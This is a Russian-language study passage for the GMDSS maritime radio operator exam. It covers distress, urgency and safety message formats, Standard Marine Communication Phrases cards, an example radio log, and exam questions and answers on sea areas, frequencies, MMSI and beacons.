Дециметровые волны применяются для радиосвязи в пределах прямой видимости, а также для спутниковой связи.

Способы связи в морской радиосвязи

Существуют следующие основные способы организации двухсторонних линий

морской радиосвязи: симплексный и дуплексный.

Симплексная связь – это способ связи, при котором передача возможна

попеременно в каждом из двух направлений канала электросвязи. При симплексном

способе прием и передача сообщений каждым из абонентов осуществляется поочередно.

Это исключает отрицательное взаимное влияние технических средств связи,

используемых абонентом для приема и передачи, упрощает процедуру ведения связи,

позволяет частично использовать одни и те же технические средства для приема и

передачи сообщений. Недостатками симплексного метода являются, увеличение

продолжительности цикла обмена сообщениями между абонентами и простой части

технических средств во время этого цикла. Симплексная связь осуществляется на одной

частоте.

Дуплексная связь – это способ связи, при котором передача возможна одновременно

в обоих направлениях канала связи. При дуплексном способе прием и передача

сообщений каждым из абонентов осуществляется одновременно. Это сокращает

продолжительность цикла обмена сообщениями между абонентами, позволяет

максимально использовать технические средства во время этого цикла. Недостатками

дуплексного способа являются необходимость обеспечить возможность одновременного

осуществления абонентом приема и передачи путем устранения отрицательного

взаимного влияния технических средств связи, а также необходимость использовать

приемник и передатчик. Дуплексная связь требует применения двух частот.

Частота передачи береговой станции, спаренная с частотой передачи судовой

станции, называется парной частотой.

Каждой береговой станции присваивается одна или несколько пар частот, каждая пара

имеет частоту для приема и частоту для передачи, которые образуют канал связи.

Частоты, выделенные и используемые для вызова, называются вызывными

частотами. Остальные частоты являются рабочими частотами.

ОБЯЗАТЕЛЬНЫЕ ПРОВЕРКИ ОБОРУДОВАНИЯ И РЕЗЕРВНЫХ ИСТОЧНИКОВ ПИТАНИЯ С ЗАПИСЬЮ В РАДИОЖУРНАЛ

1. Перед выходом судна в рейс:

· проверка всего оборудования радиосвязи, электрорадионавигации и резервных

источников питания.

2. Ежедневно:

· надлежащее функционирование средств ЦИВ без излучения радиосигналов с

использованием средств встроенного контроля;

· проверка зарядки аккумуляторных батарей;

· проверка принтеров на предмет достаточного количества бумаги и

удовлетворительного состояния пишущих узлов.

3. Еженедельно:

· надлежащее функционирование средств ЦИВ посредством тестового вызова береговой

станции. Если судно более одной недели находилось вне зоны действия береговой

станции, оборудованной ЦИВ, тестовый вызов должен быть произведен при первом

удобном случае;

· проверка работоспособности носимых аварийных УКВ радиостанций спасательных

средств.

4. Ежемесячно:

· внешний осмотр аварийных радиобуев, радиолокационных ответчиков на предмет

отсутствия внешних повреждений (проверка с использованием средств встроенного

контроля без излучения радиосигналов в эфир);

· проверка состояния и соединений всех аккумуляторных батарей, обеспечивающих

подачу энергии к любой части радиоустановки, а также мест их размещения;

· проверка состояния антенн и изоляторов.

Safety Massage (non-GMDSS)

SECURITE SECURITE SECURITE

All ships (or all ships in a particular area) - 2 or 3 times

This is ...... (station's name - 3 times)

SECURITE

Phrase indicating content of the safety message to follow.

Content of safety message.

Out

Standard Safety Message in the GMDSS

SECURITE SECURITE SECURITE

All stations (or all ships in a particular area, or a specific station) - 3 times

This is.....(MMSI of the vessel plus name/call sign or other identification)

The text of the safety message.

Out

Initial Urgency Message (non-GMDSS)

PAN-PAN PAN-PAN PAN-PAN

All ships All ships All ships (or: Lyngby Radio Lyngby Radio)

This is .............. (name of the ship 3 times)

PAN-PAN

This is ..........(name of the ship and her callsign 1 time)

Position:...........

Brief statement of the problem What assistance is required

Standard Urgency Message in the GMDSS

PAN-PAN PAN-PAN PAN-PAN

All stations All stations All stations

This is.......(MMSI of the vessel plus name/call sign or other identification) Position.

The text of the urgency message

Over.

Initial Distress Message (non-GMDSS)

MAYDAY MAYDAY MAYDAY

This is ........... (name/call sign of the ship 3 times)

MAYDAY

This is ............ ( name/call sign of the ship 3 time)

Position: Lat.:................ Long.:,.....,...........*

Brief statement of the problem

What assistance is required

Over.

Acknowledgement Of The Initial Distress Message (non-GMDSS)

MAYDAY

Name/call sign of the station in distress 3 times

Callsign of the station in distress 1 time

This is ............(name/call sign of the acknowledging station 3 times)

Received MAYDAY

Over.

Standard Distress Message In The GMDSS

MAYDAY

This is...,.....(MMSI plus name/call sign or other identification of the vessel)

Position.

Nature of the distress.

Assistance required.

Any other information which might facilitate rescue.

Over.

Acknowledgement Of The Initial Distress Message (GMDSS)

MAYDAY

Identification of the vessel in distress - 3 times

This is..... (call sign or other identification of the acknowledging Station) - 3 times

Received MAYDAY

Over.

Mayday-Relay Transmission

Mayday-relay Mayday-relay Mayday-relay

This is ...........(name of the relaying station 3 times)

Mayday

Identification of the ship in distress 1 time

Following received from:...(name of the ship in distress)

Time .......(time of receipt) UTC

Mayday

Name of the ship in distress,

Her position,

Problem and what assistance is required

This is ........(name of the relaying station)

Особое значение при подготовке операторов GMDSS отводится знанию английского языка.

Для стандартизирования обмена с помощью радиотелефона был разработан

Стандартный морской разговорник. Этот разговорник представляет собой набор часто

употребляемых выражений со специальной морской терминологией.

CARD - 1

1. Никакого открытого огня. 1. Nо open/naked fires.

2. Ожидается усиление ветра. 2. Wind (is) expected, (to) increase.

3. Канала 09 нет. Предлагаю 12. 3. Channel 09 (is) not available. Please channel 12

4. Спустите шлюпки. 4. Launch life-boats.

5. Судно горит. 5. Vessel (is) on fire.

6. Сколько членов экипажа на борту? 6. How many crewmembers (are) on board?

7. Мы получили ваш сигнал бедствия. 7. We received your distress signal.

8. Следую к горящему судну. 8. I (am) proceeding (to) vessel on fire.

9. Вода в машине. 9. Water (is) in engine room.

10. Требуются ли дополнительные спасательные средства?

10. Do you require additional life-savingт appliances?

CARD - 2

1. Сел на мель. 1. (I) ran aground/stranded.

2. Перейдите на 10 канал. 2. Switch to VHF channel 10

3. Погода ухудшается. 3. Weather (is) deteriorating.

4. Мой радар не работает. Могу ли я воспользоваться береговой РЛС?

4. My radar (is) out of order. Is shore-based radar assistance available?

5. Члены команды спаслись. 5. Crewmembers escaped.

6. Сколько спасательных шлюпок на борту? 6. How many life-boats are on board?

7. Каков характер бедствия? 7. What is your distress?

8. Срочно требуется медицинская помощь. 8. Medical assistance (is) required urgently.

9. Огонь распространяется по судну. 9. Fire (is) spreading through vessel.

CARD - 3

1. Согласен работать на 11 канале 1. Agree VHF channel 11

2. Кто владелец вашего судна? 2. Who is owner of your vessel?

3. Судно получило повреждение. 3. Vessel sustained damage

4. Спустите шлюпку. 4. Launch life-boat.

5. Следую вам на помощь. 5. I (am) proceeding (to) your assistance.

6. Семь членов экипажа смыло за борт. 6. 07 crewmembers (are) swept overboard

7. Сколько членов экипажа отсутствует? 7. How many crewmembers (are) missing?

8. Пожар потушить не смогли. 8. We failed (to) extinguish fire

9. Нужен ли врач? 9. Do you require doctor? / Is doctor required?

10. Крен увеличивается. 10. List (is) increasing.

CARD - 4

1. Говорит судно Б. Как меня слышите? 1. This is m/v B. How do you read me?

2. С канала не уходите. 2. Stay on.

3. Соберите команду на носу/корме судна. 3. Gather crew on stern / bow.

4. Каковы результаты тушения пожара? 4. What (are) results of extinguishing fire?

5. Аварийный насос вышел из строя. 5. Emergency pump (is) out of order/broken.

6. У меня течь опасного груза. 6. (I am) leaking inflammable cargo.

7. Слышу вас хорошо. 7. I read you well/good

8. Какова видимость в вашем районе? 8. What visibility (is) in your area?

9. Я обнаружил вас на экране радара. 9. I (have) located you on my radar screen.

CARD - 5

1. Ваша команда все еще на борту? 1. Is your crew still on board?

2. Помощь не нужна. 2. Assistance (is) not required.

3. С пожаром справляемся. 3. Fire (is) under control.

4. Имеется опасность опрокидывания судна. 4. (There is) danger of capsizing.

5. Мне нужна помощь вертолета. 5. I require helicopter assistance.

6. Сообщите время подхода к месту происшествия. 6. Advise your ETA (on) scene.

7. У меня серьезные повреждения корпуса. 7. I have heavy hull damages.

8. Включите аварийное электропитание. 8. Switch on emergency power supply.

9. Дежурьте на 16 канале. 9. Stand by on VHF channel 16.

10. Какова навигационная обстановка в районе? 10. What navigational situation (is) in area?

CARD - 6

1. Будьте готовы оказать помощь судну, терпящему бедствие. 1. Be ready (to) render assistance (to) casualty.

2. Сообщите причину пожара. 2. Advise reason of fire.

3. Судно тонет. 3. Vessel (is) sinking.

4. У меня самовозгорание груза. 4. Spontaneous ignition cargo.

5. Вы готовы принять вертолет? 5. Are you ready for helicopter?

6. У входа в фарватер горит судно. 6. Vessel (is) on fire in fairway entrance.

7. Я вас не вижу. 7. I do not see you.

8. Крен увеличивается. 8. List (is) increasing

9. Ведите наблюдения по радиолокатору. 9. Watch radar please.

CARD - 7

1. Принял лоцмана. 1. (I) took) pilot.

2. Нужны ли вам дополнительные средства тушения пожара?

2. Do you require additional fire-fighting appliances?

3. Передайте с вашего судна пенные генераторы.

3. Pass by foam monitor extinguishers from your vessel.

4. Вы на ходу? 4. Are you under way?

5. Имел столкновение. 5. (I) collided.

6. Спустите трап. 6. Lower ladder.

7. Пробоины в носовой части. 7. Gashes (are) in way of ship's bow.

8. Все ли члены экипажа покинули судно? 8. Have all crewmembers abandoned vessel?

9. Поврежден топливный танк. 9. Fuel oil tank (is) damaged.

CARD - 8

1. Давайте сверим часы. 1. Let us adjust/compare our clocks.

2. Какой груз на борту? 2. What cargo (is) on board?

3. Пожар потушен. 3. Fire put out.

4. Все ли члены команды на месте? 4. Are all crewmembers accounted for?

5. Сообщения противоречивы. Прошу внести ясность. 5. Information (is) conflicting. Please clarify.

6. Плот может перевернуться. 6. Raft can capsize.

7. Вы связались с тонущим судном? 7. Have you established contact with sinking vessel?

8. Создалась угроза загрязнения окружающей среды.

8. Risk of contamination of environment (has) arisen.

9. Остановите машину. 9. Stop engine.

10. Буду на месте аварии через 02 часа. 10. (I) expect (to) reach distress area within 02 hours.

CARD - 9

1. В этом районе имеется радиолокационный маяк-ответчик 1. ( There is ) rackon ( in ) this area

2. Смогу возобновить работу через... 2. I will be able (to) resume work after...

3. Вы готовы к приему вертолета? 3. Are you ready for helicopter?

4. Посадочная партия готова принять вертолет. 4. Landing party (is) ready for helicopter.

5. Могу продержаться на плаву еще 3 часа. 5. (I) can keep afloat another 03 hours

6. Большинство средств тушения пожара вышло из строя. 6. Most fire-fighting capabilities (are) lost.

7. Сообщите о ходе событии. 7. Advise developments.

8. Какая погода в районе бедствия? 8. What weather (is) expected in distress area?

9. Каковы ваши потери? 9. What (are) your losses?

10. Гирокомпас вышел из строя 10. Gyro ( is ) out of order/not working

CARD - 10

1. Вода быстро поступает через пробоину. 1. Water (is) flooding fast through gash.

2. На судне мятеж. 2. (There is) mutiny on board my vessel

3. Начинаю операцию. 3. Commencing operation

4. Под каким флагом идете? 4. What is your flag?

5. Согласен работать на 10 канале. 5. Agree VHF channel 10.

6. Какие помещения повреждены? 6. What compartments (are) damaged?

7. Свяжитесь с аварийным судном. 7. Contact casualty/vessel in distress.

8. Сохраняется ли угроза распространения огня на соседние отсеки? 8. Is there still danger of slipping fire on adjacent compartments

9. Окажите помощь. 9. Render assistance.

10. Все суда в этом районе предупреждены о бедствии. 10. All vessels (in) this area (are) advised disaster.

CARD - 11

1. Есть ли у вас раненые? 1. Do you have injured (men)?

2. Машинное отделение заполнено СO2 2. Engine room (is) flooded (with) CO2.

3. Проясните ситуацию. 3. Clarify situation

4. Дежурьте на 13 канале. 4. Stand bу on VНF channel 13.

5. Перейдите на канал 03. 5. Switch to VHF channel 03.

6. Вертолет выслан. 6. Helicopter (has) been sent

7. Как долго сможете продержаться на 7. How long can you keep afloat? плаву?

8. Для эвакуации команды приготовьте спасательную беседку 8. Prepare/make readу life-car/breaches for evacuation

9. Все мои огнегасительные средства израсходованы. 9. All my fire-extinguishing means (are) expended.

10. Спасательные суда из порта Н. высылаются вам на помощь 10. Rescue vessels (are) being dispatched for your assistance.

CARD - 12

1. Приготовьте список погибших. 1. Prepare dead-roll.

2. Какие отсеки имеют пробоины? 2. What compartments have gashes?

3. Судно все еще на плаву. 3. Vessel (is) still afloat.

4. Мне нужен вертолет для эвакуации пострадавших. 4. I require helicopter for evacuation (of) casualties.

5. Организуйте посадку в спасательные плоты. 5. Arrange embarkation crewmembers into (life) rafts.

6. Сколько человек осталось в живых? 6. How many persons survived?

7. Подойдите ближе. 7. Come closer.

8. Есть ли врач на борту? 8. Is doctor available?/Do you have doctor on board?

9. С канала не уходите. 9. Stay on.

10. Согласен работать на 12 канале. 10. Agree VHF channel 12.

CARD - 13

1. Вы становитесь слабее. 1. You are getting weak.

2. Канала 05 нет. Предлагаю 13. 2. Channel 05 (is) not available. Please channel 13.

3. Бот перевернулся.Люди в воде без иммерсионных костюмов.

3. Boat capsized. Casualties without immersion suits.

4. Дополнительно требуются два насоса. 4. Two fire pumps (are) required additionally

5. Ваше сообщение понял. 5. (Уour message) understood.

6. Прекратите передачу. 6. Stop transmitting

7. Каковы ваши указания? 7. What are your instructions?

8. Врач на борту вертолета. 8. Doctor (is) on helicopter

9. Опасность розлива. 9. (There is) danger of (oil) pollution.

10. Ожидается улучшение видимости 10. Visibility ( is ) expected ( to ) increase

CARD - 14

1. Вижу вас на экране радара. 1. I see you on my radar screen.

2. Согласен работать на 09 канале. 2. Agree VHF channel 09.

3. С канала не уходите. 3. Stay on.

4. Прерывание связи. 4. Interruption.

5. У вас ошибка. 5. Mistake.

6. Когда прибудет пожарная команда? 6. When will fire (fighting) team/brigade arrive?

7. Ветер усиливается. 7. Wind (is) increasing.

8. Человек за бортом. 8. Man overboard.

9. Вода в машине 9. Water (is) in engine room

10. Сообщите свои намерения 10. Advise your intentions

CARD - 15

1. Какая погода ожидается в районе? 1. What weather (is) expected (in) area?

2. Приготовьтесь к приему аварийной

партии. 2. Be ready for rescue party.

3. Канала 10 нет. Предлагаю 12. 3. Channel 10 (is) not available. Please channel 12

4. Как меня слышите? 4. How do you read me?

5. Конец связи. 5. Nothing more. Out.

6. Покиньте судно. 6. Abandon vessels

7. Выслан ли вертолет? 7. Has helicopter been sent/dispatched?

8. Согласен работать на 13 канале. 8. Agree VHF channel 13

9. Даю исправление. 9. Correction

10. Перейдите на 07 канал. 10. Switch to VHF channel 07.

GMDSS Radio Log

M.V./S.S. название удна HELENA

CALL SIGN. URXN M.M.S.I. 272100080

DATE AND TIME, UTC STATION TO STATION

FROM OPERATORS ACTIONS OR REMARKS

Frequency, Channel or Satellite

27.07.2011 Master: ( signature )

05:00 Position: 3602N / 01450 W

05:05 Daily internal tests of all DSC equipment - passed OK

05:10 Batteries were tested - OK, U=29,3 V.

05:15 All printers are in good work order and have enough paper.

06:10 Weekly test of all portable VHF radiostations - passed OK. CH.67

06:15 All stations 272100020 Received: undesignated Distress call 27.07.07 0615 UTC 2187,5

4119 N / 01431 W, simplex

06:17 All ships 002241022 Rcvd: Distress acknowledgement, MMSI 271100020, 2187,5

udesignated Distress, 0615 UTC, 4119 N / 01431 W, J3E

06:19 All stations UREB Rcvd: m/v BALTICA / UREB / MMSI 273100020, 2182

CANCEL MY FALSE DISTRESS ALERT at 0615 UTC, Psn: 4119 N / 01431 W.

0705 002240991 URXN Weekly external test of MF/HF DSC, safety. 6312

0706 URXN 002240991 fm Barcelona: Acknowledgement of external test, safety 6312

0715 All stations 273100030

Rcvd: DISTRESS from 273100030, SINKING, TIME 0725 UTC 8414,5

Pos.: 3936 N / 01426 W, comm.: FEC

0718 All Ships 003669995 Rcvd: Distress acknowledgement, ship: 273100030, sinking 8414,5

0721 All stations URAC

Rcvd: MAYDAY from m/v Charusa / URAC / MMSI

273100030 8376,5

my psn: 3936 N / 014 25 W, I am SINKING and going

to abandon the vessel, 15 POB, all healthy, need immediate

assistance, sea 8, poor visibility, Master

0724 URAC URXN Call: Mayday / not answer 8291

0726 CAMSLANT

RADIO URXN Call: Mayday My posit.:3611 N / 01518 W, course 290,speed 8291

10 knts, ETA vsl in distress for 7 hrs, ready for assistance

0735 All stations

CAMSLANT

RADIO RESCUE OPERATIONS FINISHED, SEELONCE FEENEE 8291

0755 Monthly test of EPIRB COSPAS-SARSAT - passed OK

0820 All stations URXN Transmitted: False Distress Alert "EPIRB EMISSION" 406 MHz

0825 LES 121 URXN

Transmitted: Cancel my false Distress alert 27.07.07 0820

UTC AOR-E

from EPIRB COSPAS-SARSAT, MMSI 273100080,

Serial No. 05557, Position 3614 N / 01532 W, technical reason

0840 Monthly test of two SARTs - passed OK

0850 SART's signal was detected in psn: 40 02 N / 019 59 W 9 GHz

0855 Listen on VHF ch.16 and 2182 KHz / no communication 16 ch./2182

0857 LES 121 URXN Fm URXN: MAYDAY RELAY, SART's signal was detected in AOR-E

psn: 40 02 N / 019 59 W 27.07.07 time 0850 UTC, no

any communication on channel 16 and 2182 KHz, proceeding

towards distress position, ETA in 16 mins. 0915

Monthly tests and maintenance of the batteries / passed -OK.

0925 Monthly test of all ship's aerials and insulators / passed - OK.

0930 LES 104 URXN LOOP BACK TEST AOR-E

0934 URXN LES 104 Rcvd: test msg, LOOP BACK TEST - OK AOR-E

0940 Self-diagnostics test of NAVTEX - passed OK

МИНИМАЛЬНЫЕ ЗНАНИЯ ДЛЯ СДАЧИ ГМССБ(GMDSS) В ВОПРОСАХ И ОТВЕТАХ (Часть 1)

chibis — Thu, 01 Oct 2015 12:34:36 GMT

Возможные Вопросы с Ответами по экзамену GMDSS

Определение Морского района "А1"

Район в пределах зоны действия в режиме телефонии по крайней мере одной береговой

УКВ радиостанции, обеспечивающей постоянную возможность оповещения сообщений о бедствии с использованием ЦИВ

Определение Морского района "А2"

Район, за исключением морского района А1,в пределах зоны действия в режиме телефонии по крайней мере одной береговой ПВ $CUT$станции, обеспечивающей постоянную возможность оповещения о бедствии с использованием ЦИВ

Определение Морского района "A3"

Район, за исключением Морских Районов А1 И А2,в пределах зоны действия геостационарных спутников ИНМАРСАТ, обеспечивающих постоянную возможность оповещения о бедствии

Определение Морского района "А4"

Район, находящийся за пределами морских районов А1 ,А2,АЗ

Функции ГМССБ

1. Оповещение о бедствии (передача сигнала тревоги и сообщения о бедствии в направлении судно-берег);

2. Обеспечение взаимодействия и координации поисковых и спасательных операций (связь “берег-судно” и “судно-судно”);

3. Определение местонахождения судна, терпящего бедствие (EPIRB, SART);

4. Обеспечение связи на месте проведения спасательных операций (в основном - УКВ);

5. Передача MSI (NAVTEX, телекс, EGC);

6. Обычный радиообмен (коммерческая связь);

7. Связь “мостик-мостик”.

Требования ГМССБ к судовому персоналу, обслуживающему устройства радиосвязи

В зависимости от района, в котором предполагается использовать судно, определяются требования к персоналу, обслуживающему радиоустановки ГМССБ. Введены следующие звания судовых радиоспециалистов:

судовой радиоэлектроник первого класса ГМССБ;

судовой радиоэлектроник второго класса ГМССБ;

судовой оператор ГМССБ;

судовой оператор ограниченного района ГМССБ.

Сигналы особой важности в радиосвязи. Как они произносятся в телефонии?

• Сигнал бедствия - MAYDAY;

• Сигнал срочности - PAN PAN;

• Сигнал безопасности – SECURITE

Назовите минимальный состав радиооборудования, которое должно иметь каждое судно.

• УКВ радиостанция с ЦИВ

• Приемник НАВТЕКС

• Аварийный радиобуй

• Транспондер - РЛО

• Носимые УКВ радиостанции

Какое радиооборудование должно иметь каждое судно, совершающее рейсы в районах А1+А2?

• УКВ радиостанция с ЦИВ

• ПВ телефонная радиостанция с ЦИВ

• Приемник НАВТЕКС

• Приемник РГВ или KB ИБМ

• Аварийный радиобуй

• Транспондер - РЛО

• Носимые УКВ радиостанци

Какое радиооборудование должно иметь каждое судно, совершающее рейсы во всех морских районах (А1, А2, A3 и А4)?

• УКВ радиостанция с ЦИВ

• ПВ телефонная радиостанция с ЦИВ

• ПВ/КВ телефонная радиостанция с ЦИВ и УБПЧ

• Приемник НАВТЕКС

• Приемник РГВ или KB ИБМ

• ИНМАРСАТ-С или В

• Аварийный радиобуй

• Транспондер

• Носимые УКВ радиостанции

Какие радиослужбы и подсистемы связи входят в состав ГМССБ

• Морская подвижная служба в УКВ, СВ, ПВ, KB диапазонах

• Система ИНМАРСАТ

• Система КОСПАС-САРСАТ

Полоса частот выделенная МПС в УКВ диапазоне.

156-174 МГц

Полоса частот выделенная МПС в СВ диапазоне.

405-526,5 кГц

Полоса частот выделенная МПС в ПВ диапазоне.

1605-4000 кГц

Полоса частот выделенная МПС в KB диапазоне.

4 - 27,5 МГц

Защита частот

Любое излучение, которое может создать вредные помехи связи в случае бедствия, срочности и безопасности на частотах выделенных для этой связи запрещаются. Прежде, чем вести передачу на любой из частот, выделенной для связи в случае бедствия и для обеспечения безопасности, следует удостовериться, что на данной частоте не ведется радиообмен по бедствию. В случае необходимости испытательные передачи (тестирование) проводить с минимальной необходимой мощностью или с использованием

эквивалента антенны.

Способы обеспечения работоспособности радиооборудования

ГМССБ не требует наличия на борту судна радиоспециалистов для обслуживания радиооборудования.

Для обеспечения работоспособности оборудования применяются три метода:

- дублирование аппаратуры;

- сервисное обслуживание в береговых предприятиях;

- сервисное обслуживание на борту судна.

Суда, работающие в районах А1 или А2, должны применять как минимум один из указанных методов; для судов, плавающих в районах А3 и А4 должны использоваться комбинации как минимум двух из указанных методов.

Что означает термин "Дублирование оборудования"?

Дублирование оборудования означает, что на борту судна дополнительно требуется установка следующего оборудования:

a) при плавании в морском районе A3 - УКВ радиоустановка с ЦИВ, а также или ПВ/КВ

радиоустановка с УБПЧ и ЦИВ или судовая земная станция (СЗС) ИНМАРСАТ

б) при плавании судна в морских районах A3 и А4 - УКВ радиоустановка и ПВ/КВ

радиоустановка. Для судов, совершающих эпизодические рейсы в морском районе А4 и

имеющих в качестве основной ПВ/КВ радиоустановку, дополнительная радиоустановка ПВ/КВ может быть заменена СЗС ИНМАРСАТ.

Какие виды технического обслуживания обязательны в Морских районах А1 и А 2?

Один из трех

Какие виды технического обслуживания обязательны в Морских районах A3 и А 4?

Два из трех

Какими техническими средствами ГМССБ должно обеспечиваться непрерывное автоматическое наблюдение на каждом судне, находящемся в море?

На каждом судне, находящемся в море, должно вестись непрерывное автоматическое наблюдение:

a) на канале 70 УКВ, в режиме ЦИВ;

б) на частоте бедствия и обеспечения безопасности 2187,5 Кгц в режиме ЦИВ, если судно оборудовано ПВ радиоустановкой;

в) на частотах бедствия и обеспечения безопасности 2187,5 кГц и 8414,5 кГц в режиме

ЦИВ, а также, в зависимости от времени суток и географического положения судна, на одной из частот бедствия и обеспечения безопасности: 4201,5 кГц, 6312 кГц, 12577 кГц или 16804,5 кГц в режиме ЦИВ, если судно оборудовано ПВ/КВ радиоустановкой;

г) за оповещениями о бедствии в направлении берег-судно через ИСЗ, если судно оборудовано судовой земной станцией ИНМАРСАТ.

Какими техническими средствами ГМССБ должно обеспечиваться непрерывное автоматическое радионаблюдение за передачами информации по безопасности на море (MSI) на каждом судне, находящемся в море?

На каждом судне, находящемся в море, должно вестись непрерывное автоматическое радионаблюдение за передачами информации по безопасности на море с помощью приемника NAVTEX, системы расширенного группового вызова (РГВ) ИНМАРСАТ, если

судно совершает рейсы в районе, охватываемом ИНМАРСАТ, но там, где не обеспечена международная система NAVTEX.

Назначение и состав системы КОСПАС-САРСАТ

Система КОСПАС-САРСАТ представляет собой спутниковую систему поиска и спасения, предназначенную для определения местоположения аварийных радиобуев (АРБ), передающих радиосигналы на частоте и 406 МГц.

• Береговой сегмент

• Космический сегмент

• Судовое оборудование

Какие виды АРБ применяются в ГМССБ?

• УКВ ЦИВ АРБ

• Коспас-Сарсат АРБ

Состав системы ИНМАРСАТ

• Космический сегмент. Спутники

Космический сегмент системы включает 4 геостационарных спутника, охватывающих 4 океанских района (Атлантический- восточный, Атлантический- западный, Тихоокеанский, Индийский). Зона действия ограничена параллелями 70 градусов северной и южной широты (не охвачены полярные шапки).

Связь осуществляется на частотах диапазонов 1,5 ГГц и 1,6 ГГц (L-band).

• Береговые-земные станции

• Судовые-земные станции. Inmarsat-B - передача сигнала, обеспечивает связь в

режимах телефонии, телекса, передачи данных. Достоинства - мгновенная связь с адресатом, Недостатки - громоздкость антенной

системы, необходимость позиционирования антенны но судовые станции этого стандарта более компактны и меньше по весу.

Inmarsat-C - передача цифрового сигнала, обеспечивает связь в режиме телекса, факса (до береговой станции). Достоинства - компактность антенной системы (ненаправленная); Недостатки - связь в режиме “store & forward” , т.е. задержки в передаче сообщения

адресату (до нескольких десятков минут). Отсутствие телефонного режима.

Inmarsat-F - передача сигнала, обеспечивает связь в режимах телефонии, передачи данных и электронной почты.

• Контрольно-эксплуатационный центр

Назначение приемника РГВ (EGC)

Для приема ИБМ (МSI) в системе Инмарсат по сети Safety Net и Fleet Net

Что означает термин "цифровой избирательный вызов (ЦИВ)"?

Представляет собой способ связи, использующий цифровые коды, который позволяет:

a) передавать и принимать вызовы бедствия;

б) передавать и принимать подтверждения u1074 вызовов бедствия;

в) ретранслировать вызовы бедствия;

г) объявлять вызовы срочности и безопасности;

д) объявлять обычные вызовы и назначать рабочие каналы для последующей связи в режиме радиотелефонии или телекса.

Что такое MMSI? MMSI судовой станции, береговой станции, группы судов.

MMSI - Идентификатор ЦИВ морской подвижной службы

MMSI судовой станции -девятизначный цифровой номер начинающийся с MID - MIDXXXXXX

MMSI береговой станции -девятизначный цифровой номер, начинающийся с "00" - 00MIDXXXX

MMSI группы судов -девятизначный цифровой номер, начинающийся с "0" - 0MIDXXXXX

Что такое MID?

1) Первые три цифры MMSI.

2) Цифровой опознаватель кода страны.

3) MID Украины-272,

4) России-273

Составляющие формата вызывной последовательности ЦИВ при передаче вызова бедствия.

• Определитель формата

• Самоидентификатор (MMSI)

• Характер бедствия

• Координаты судна

• Время снятия координат

• Вид последующей связи

На какой частоте и какая информация будет передана по умолчанию при передаче короткого сигнала бедствия, используя MF DSC контроллер?

Частота 2187,5 Кгц

• MMSI

• Координаты

• Время снятия координат

• Характер бедствия неопределенный

• Вид последующей связи телефония

Что относится к радиооборудованию спасательных средств?

• РЛО

• УКВ носимые радиостанции

На какой частоте работает радиолокационный ответчик?

9,4ГГц (Длина волны 3,2 см)

Судовые источники питания оборудования ГМССБ

• Судовая сеть

• Аварийный источник питания

• Резервное питание (аккумуляторы)

Требования к резервным источникам питания

• На судах с аварийным источником питания (АДГ) резервное питание должно обеспечить работу радиостанции в течение 1 часа или 6 часов

• На судах без аварийного источника питания (АДГ) - в течение 18 или 36 часов

Что означает режим "ARQ" в радиотелексе?

Автоматический запрос на повторение при обнаружении ошибки.

Связь только между двумя станциями.

Что означает режим "FEC" в радиотелексе?

Прямое исправление ошибок. Режим работы без обратной связи, работа станции только на передачу или прием

Назначение 16 и 70 каналов УКВ.

16 канал УКВ - исключительно для обмена при бедствии, срочности и безопасности.

70 канал УКВ - для передачи и приема вызовов ЦИВ при бедствии, срочности, безопасности, а также обычных вызовов.

Формула зависимости частоты от длины волны. f = c/λ

Назначение РЛО (SART).

Радиолокационный ответчик (РЛО), работающий на частоте 9 ГГц, должен обеспечивать

указание местоположения спасательных единицы, терпящей бедствие, на экране радиоло-

катора посредством серии точек, расположенных на равном расстоянии друг от друга.

Основные эксплуатационные требования к РЛО (SART). РЛО должен:

a) Обеспечивать ручное включение и выключение, индикацию в режиме готовности.

б) Иметь плавучий линь.

в) Выдерживать сбрасывание в воду с высоты 20 метров.

г) Быть водонепроницаемым на глубине 10м не менее 5 минут.

д) Быть оборудован визуальными или звуковыми средствами для определения нормальной

работы и предупреждения терпящих бедствие о том, что РЛО приведен в действие радаром.

е) Иметь достаточную емкость батареи для работы в режиме ожидания 96 часов, а в режиме излучения - 8 часов.

На наружной стороне оборудования должны быть ясно указаны:

a) краткие инструкции по эксплуатации;

б) дата истечения срока службы батареи питания.

Назначение и основные эксплуатационные требования к АРБ (EPIRB).

Существуют два типа аварийных радиобуев (АРБ) применяемых в ГМССБ:

• АРБ УКВ

• АРБ КОСПАС-САРСАТ

АРБ спутниковой системы КОСПАС-САРСАТ обеспечивает передачу оповещений о

бедствии через систему спутников на околополярных орбитах и работает в диапазоне

406,1 МГц. Данный радиобуй пригоден для судов любого района плавания.

УКВ аварийный радиобуй обеспечивает передачу оповещений о бедствии в системе

цифрового избирательного вызова на 70 канале УКВ (частота 156,525 МГц), используя

класс излучения G2B. Данный АРБ пригоден для судов, совершающих рейсы исключительно в морском районе А1.

Достоинства и недостатки АРБ КОСПАС/САРСАТ:

a) Не требуется ввод координат судна, так как последние определяются по величине

доплеровского сдвига частоты сигнала радиобуя, принятого на спутнике.

б) Зона действия системы КОСПАС-САРСАТ не имеет ограничений.

Недостаток системы: задержка времени доставки сообщения на береговой центр может

достигать до 1...1.5 часов в Северном полушарии и до 2 часов в Южном полушарии с

учетом времени ожидания пролета спутника и времени движения спутника до

ближайшего берегового центра.

Общие требования к АРБ:

a) АРБ должен автоматически включаться после свободного всплытия.

б) Установленный АРБ должен иметь ручное включение. При этом может быть

предусмотрено дистанционное включение с ходового мостика, когда АРБ установлен в

устройстве, обеспечивающем его свободное всплытие.

в) АРБ должен быть снабжен плавучим линем, пригодным для использования в качестве

буксира, и лампочкой светосилой 0,75 кд, автоматически включающейся в темное время суток для указания местоположения АРБ.

г) АРБ должен выдерживать сбрасывание в воду без повреждений с высоты 20 метров.

д) Быть снабжен средствами, указывающими на излучение сигналов.

е) Обеспечивать проверку (тестирование) без использования спутниковой системы для определения нормальной работы АРБ.

ж) Быть хорошо видимого желтого или оранжевого цвета и иметь полосы из светоотражающего материала.

з) Иметь частоту 121,5 МГц для привода главным образом воздушных судов.

и) Устройство отделения АРБ должно обеспечивать его автоматическое отделение от тонущего судна. Механизм отделения должен срабатывать при достижении глубины 4 метра при любой ориентации судна, при крене и дифференте судна до 45°.

к) Источник питания должен иметь достаточную емкость для обеспечения работы АРБ в течение по крайней мере 48 часов.

На наружной стороне оборудования должны быть ясно указаны:

• краткие инструкции по эксплуатации;

• дата истечения срока службы используемой первичной батареи.

Назначение УКВ радиостанций двухсторонней связи спасательных шлюпок и плотов.

УКВ радиотелефон двусторонней связи спасательных шлюпок и плотов должен быть

переносным и обеспечивать связь на месте бедствия между спасательными шлюпками и

